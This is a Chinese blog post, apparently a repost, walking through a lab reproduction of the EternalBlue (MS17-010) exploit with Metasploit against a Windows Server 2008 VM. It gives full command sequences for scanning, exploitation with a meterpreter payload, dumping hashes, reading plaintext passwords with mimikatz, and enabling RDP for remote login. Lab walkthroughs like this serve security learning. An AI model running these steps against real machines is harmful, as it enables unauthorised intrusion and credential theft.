前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >虚拟化漏洞3种解决方案_怎么实现漏洞复现的

虚拟化漏洞3种解决方案_怎么实现漏洞复现的

作者头像
全栈程序员站长
发布2022-11-03 16:20:55
8470
发布2022-11-03 16:20:55
举报
文章被收录于专栏:全栈程序员必看

利用虚拟机复现漏洞“永恒之蓝”

攻击:kali Linux 2020.3 靶机:Windows Server 2008 R2 x64 下面详细讲述测试的过程。

—— ——

“ 永恒之蓝 ”简介

利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。 “ 永恒之蓝 ”的原理主要是扫描所有开放 445 文件共享端口的 Windows 机器。

在这里插入图片描述
在这里插入图片描述

这里进行测试要用到一个工具 MSF ,能快速对目标实现“永恒之蓝”攻击,获取目标对主机的最高权限。

—— ——

Metasploit(MSF)简介

Metasploit 是一个免费的、可下载的框架,可以很容易地获取、开发并对计算机软件漏洞实施攻击。 本身附带数千个已知软件漏洞的专业级漏洞攻击工具,当 2003 年 Metasploit 发布时,计算机安全状况就被永久性地改变了,仿佛一夜之间任何人都可以成为黑客。

——

Metasploit 模块介绍

  • Auxiliary 辅助模块 为渗透信息提供了大量的辅助模块支持
  • Exploits 攻击模块 利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件
  • Payload 攻击载荷模块 攻击成功后促使靶机运行的一段植入代码
  • Post 后渗透攻击模块 收集更多信息或进一步访问被利用的目标系统
  • Encoders 编码模块 将攻击载荷进行编码,来绕过防护软件拦截

—— ——

测试漏洞前的准备

连接数据库

kali Linux 中自带 msf 工具。 先开启 postgresql 服务,虽然不那么重要,不过开了之后,可以使用的命令更多。 开启数据库:

service postgresql start

在这里插入图片描述
在这里插入图片描述

postgresql 也是 kali 机里自带的。 第一次用 postgresql 的话,要进行一些设置。

先登录控制台:

sudo -u postgres psql

在这里插入图片描述
在这里插入图片描述

———————————————————-M——————————————————

这里我一开始使用不了 postgresql 的命令,找了很多解决方法无效,结果发现是语言的问题,我之前把 kali 的语言环境手动设置成了中文,即选择了 zh_CN.UTF8 编码,删除了 en_US.UTF8 的编码,导致现在数据库和系统的语言环境不匹配,出现如下图这样的报错。解决就是把 en_US.UTF8 编码加回来即可。

在这里插入图片描述
在这里插入图片描述

———————————————————-W——————————————————–

然后 修改密码

CREATE USER admin WITH PASSWORD ‘psql’ NOCREATEDB;

其中用户名 admin 和单引号中的密码 psql 根据自己写。 成功则返回 CREATE ROLE

创建新用户

CREATE DATABASE msf OWNER admin;

成功则返回 CREATE DATABASE

在这里插入图片描述
在这里插入图片描述

设置好输入 exit 退出 postgresql 控制台即可。

在这里插入图片描述
在这里插入图片描述

接下来 开启 msf 控制台:

msfconsole

在这里插入图片描述
在这里插入图片描述

开启之后看到中间有个图案,这个是随机的,不一定是什么图案。 同时也可以看到我们 metasploit 的版本。 以及这个版本所含有的各模块的数量,比如 2045 个 exploits 模块。

msf 连接 postgresql 数据库

db_connect admin:psql@127.0.0.1/msf

并检测是否连接上:

db_status

在这里插入图片描述
在这里插入图片描述

以后打开并连接数据库的步骤就不用创建用户了,三个步骤走:

开启数据库:service postgresql start 开启 msf 控制台:msfconsole 连接 postgresql 数据库 :db_connect admin:psql@127.0.0.1/msf

————————————————————–M———————————————————

还有另一个一个方法是前面不进行创建新用户和连接数据库,使用 service postgresql start 之后,再直接用命令 msfdb init 初始化数据库,会自动创建用户名等信息,应该也是可行的。 ————————————————————–W———————————————————

——

msf帮助手册

输入 ? 可以查看 msf 的帮助手册,可以看到有很多命令,我们后面会用到的都在这下面可以看到。

Core Commands :核心命令

在这里插入图片描述
在这里插入图片描述

Module Commands :模块命令

在这里插入图片描述
在这里插入图片描述

Job Commands:工作命令

在这里插入图片描述
在这里插入图片描述

Resource Script Command :脚本命令

在这里插入图片描述
在这里插入图片描述

Database Backend Commands :数据库命令

这就是为什么前面要开启数据库的原因。 如果没开启数据库,这些命令就用不了。

在这里插入图片描述
在这里插入图片描述

还有一些发展命令之类的,最后还有一些使用教程。

在这里插入图片描述
在这里插入图片描述

—— ——

进入“永恒之蓝”模块

接下来用 search 命令搜索一下“ 永恒之蓝 ”。 search 就像搜索引擎的功能,可以根据关键字进行搜索。 命令:

search ms17-010

(ms17-010 是“ 永恒之蓝 ”的漏洞编号) 可以看到根据关键字搜索到的结果,前面有编号,跟着名称,名称第一个关键字可以看到是 auxiliary 辅助模块或者是 exploit 攻击模块。搜索到了 2 条辅助模块和 3 条攻击模块。

在这里插入图片描述
在这里插入图片描述

使用某个模块有两种方法,一个是用 use 接搜索结果中的编号,一个是接名称。 这里要用到上图中编号为 1 的模块,则使用命令为:

use 1

use auxiliary/scanner/smb/smb_ms17_010

可以看到这样就进入到这个模块里了。

在这里插入图片描述
在这里插入图片描述

然后用命令 options 查看我们需要设置什么。 看 Required 一栏中,一般我们要关注的是状态为 yes 的选项,状态为 no 的选项保持默认即可。

在这里插入图片描述
在这里插入图片描述

这里我们需要注意 RHOST 、RPORT、NAMED_PIPES 、THREADS 这两项。 NAMED_PIPES 路径已经设置好了。 RPORT :445端口 永恒之蓝就是由于 445 端口上的文件共享服务导致的漏洞。 如果文件共享端口被修改了,则这里的这个端口信息也需要进行修改。 THREADS 线程,我们这里测试一个目标,所以一个线程就够了。 RHOSTS :目标主机的地址。

—— ——

使用 msf “永恒之蓝”模块

接下来就进行攻击了。 这里用 Windows Server 2008 作为目标测试。

先用命令 ping www.baidu.com 检查一下网络。 没问题之后再看看靶机的 IP ,同时也检查一下靶机的网络。

在这里插入图片描述
在这里插入图片描述

再从 kali 机 ping 一下靶机 IP,即看下面有没有 64 byte 出现。 一开始我这里 ping 不通,原因是 Windows Server 2008 靶机的防火墙没关,关闭防火墙之后就能连通了。

在这里插入图片描述
在这里插入图片描述

然后可以用调取 nmap 的命令扫描一下目标的 445 端口有没有开放:

db_nmap 192.168.226.131 -p 445 -v

扫描结果可以看到,445 端口是开放的,服务也对应地上,是微软上的文件共享服务(microsoft-ds)。

在这里插入图片描述
在这里插入图片描述

—— ——

auxiliary 辅助模块使用

前面的 RHOSTS 目标地址还是空的,需要进行设置一下。 这里用一个快速的方法,先用 hosts 命令可以看到我们的目标地址。

在这里插入图片描述
在这里插入图片描述

然后用命令:

hosts -R

直接让这个 RHOSTS 指向了这个地址。

在这里插入图片描述
在这里插入图片描述

或者用 set 命令:

set rhost 192.168.226.131

用 iptions 命令验证一下,看到已经设置成功了。

在这里插入图片描述
在这里插入图片描述

准备都已经做好了,可以用命令 run 直接执行我们已经进入了的这个辅助扫描模块(auxiliary(scanner/smb/smb_ms17_010))。 可以看到扫描结果显示目标很有可能存在 MS17-010 这个漏洞的,并显示了目标的操作系统版本。

在这里插入图片描述
在这里插入图片描述

—— ——

expolit 攻击模块使用

到这里辅助模块的任务就完成了,已经确认了目标非常有可能存在这个漏洞。 接下来就进入 exploit 攻击模块,重新回到上面,选择这个编号为 2 的模块。

在这里插入图片描述
在这里插入图片描述

使用命令 use 2 进入这个模块,可以看到还默认设置了一个 payload 。

在这里插入图片描述
在这里插入图片描述

如果没有自动设置 payload 的话,需要手动设置一下。 使用命令 show payloads 就可以看到很多 payload 需要进行进行选择。 进行筛选,定位到 Windows 64 位操作系统; 如果有 meterpreter 就选择这个,功能比较强大; 然后 payload 后面的连接方式,这里选择 tcp 的。

在这里插入图片描述
在这里插入图片描述

选择好之后,进行设置 payload :

set payload windows/x64/meterpreter

在这里插入图片描述
在这里插入图片描述

然后用命令 options 看看刚刚进入的 exploit 攻击模块需要我们设置准备写什么。 有目标地址、目标端口、本地地址等信息。

在这里插入图片描述
在这里插入图片描述

同样用 hosts -R 设置目标地址。

在这里插入图片描述
在这里插入图片描述

看哪里没设置好就设置哪里。 比如如果这里本地地址是空的,就用命令设置 LHOST

set lhost 192.168.226.128

在这里插入图片描述
在这里插入图片描述

设置好之后,用命令 run 执行我们刚刚进入的这个攻击模块。

在这里插入图片描述
在这里插入图片描述

这样,就已经成功攻击了。当然,不一定每次都攻击成功,可能会不稳定。 目标也会有自我保护的可能,攻击过程中可能直接把目标干关机或者蓝屏。 为了方便,在这样的情况下,可以先在虚拟机提前设置快照,如果被打得关机提醒了,就恢复到前面的快照。

在这里插入图片描述
在这里插入图片描述

—— ——

攻击成功后的命令测试

查看权限

可以看看我们当前在目标机器的权限:

getuid

可以看到已经是 system 系统权限了。

在这里插入图片描述
在这里插入图片描述

可以说是想干嘛就干嘛了,可以在这里执行命令随意地操作目标机器。 试试进入 shell 。 可以看到执行之后的样子,很熟悉:C:\Windows\system32> 就是我们常用的 cmd 命令窗口,在这里直接用 cmd 命令窗口操作目标。 (编码导致的中文乱码可忽略)

在这里插入图片描述
在这里插入图片描述

看看此时的权限,同样是 system 系统权限。

在这里插入图片描述
在这里插入图片描述

用 exit 命令退出回到 meterpreter 。

输入 ? 可以查看帮助文档,有很多的命令,这里就不多说了。

在这里插入图片描述
在这里插入图片描述

—— ——

获取目标用户密码

比如这里用帮助文档中的 hashdump 命令查看目标的密码。 密码可以用 md5 在线解码网址解出来。

在这里插入图片描述
在这里插入图片描述

如果太复杂也可能解不出来,可以通过加载 mimikatz 读取明文密码:

load mimikatz

在这里插入图片描述
在这里插入图片描述

加载成功后使用命令 wdigest 直接读取密码。 可以看到读取到了用户名为 Administrator 的密码为 2008Server 。 这个的确是我在目标机器上设置的密码。 同时也可以看到这条命令的执行是需要 system 系统权限的。

在这里插入图片描述
在这里插入图片描述

—— ——

远程连接测试

有了用户名和密码就可以直接登录到目标的服务器了。 这里测试一下用远程连接服务登录。 先看看远程连接服务的端口是否开放。

db_nmap 192.168.226.131 -p 3389

看到 3389 端口是关闭的。

在这里插入图片描述
在这里插入图片描述

如果忘记具体改端口的命令,用关键字搜索一下。

在这里插入图片描述
在这里插入图片描述

使用命令 use ‘编号’ 进入这个模块; 命令 options 查看哪些信息需要设置,session 项即后台的哪个进程,因为刚刚我们退出了 meterpreter ,是用 background 命令把它放在了后台会话。(后面再说明一下这 background 命令) 命令 set session 1 设置。

在这里插入图片描述
在这里插入图片描述

命令 run 执行这个刚刚进入开端口的模块。 执行后再看看 3389 端口已经开放了。

在这里插入图片描述
在这里插入图片描述

选择就可以进行远程登录了,这里我新开一个命令行。 输入:

rdesktop 192.168.226.131

在这里插入图片描述
在这里插入图片描述

输入 yes ,就打开了远程连接的窗口。

在这里插入图片描述
在这里插入图片描述

用我们刚刚得到的用户名和密码登录,可以看到就成功登录进入到目标系统了。

在这里插入图片描述
在这里插入图片描述

同时,本来处于登录状态的目标也被挤下线了。

在这里插入图片描述
在这里插入图片描述

我这里是在 kali 机中进行远程登录,在知道了用户名密码,3389端口开发的情况下,在物理机 Windows 上等其它电脑上都可以登录。

————————————————————–M———————————————————

background 命令 可以用 background 命令让当前命令在后台,刚才的会话会保存下来。 用命令 sessions 查看当前的会话,根据 id 可以重新进入,如 sessions 1 重新进入 meterpreter 攻击。

在这里插入图片描述
在这里插入图片描述

————————————————————–W———————————————————

到这里,进行漏洞攻击的测试就结束了! 总结:有些坑不得不踩!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/181252.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年10月16日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用虚拟机复现漏洞“永恒之蓝”
  • “ 永恒之蓝 ”简介
  • Metasploit(MSF)简介
    • Metasploit 模块介绍
    • 测试漏洞前的准备
      • 连接数据库
        • msf帮助手册
          • Core Commands :核心命令
          • Module Commands :模块命令
          • Job Commands:工作命令
          • Resource Script Command :脚本命令
          • Database Backend Commands :数据库命令
        • 进入“永恒之蓝”模块
        • 使用 msf “永恒之蓝”模块
          • auxiliary 辅助模块使用
            • expolit 攻击模块使用
            • 攻击成功后的命令测试
              • 查看权限
                • 获取目标用户密码
                  • 远程连接测试
                  相关产品与服务
                  数据库
                  云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档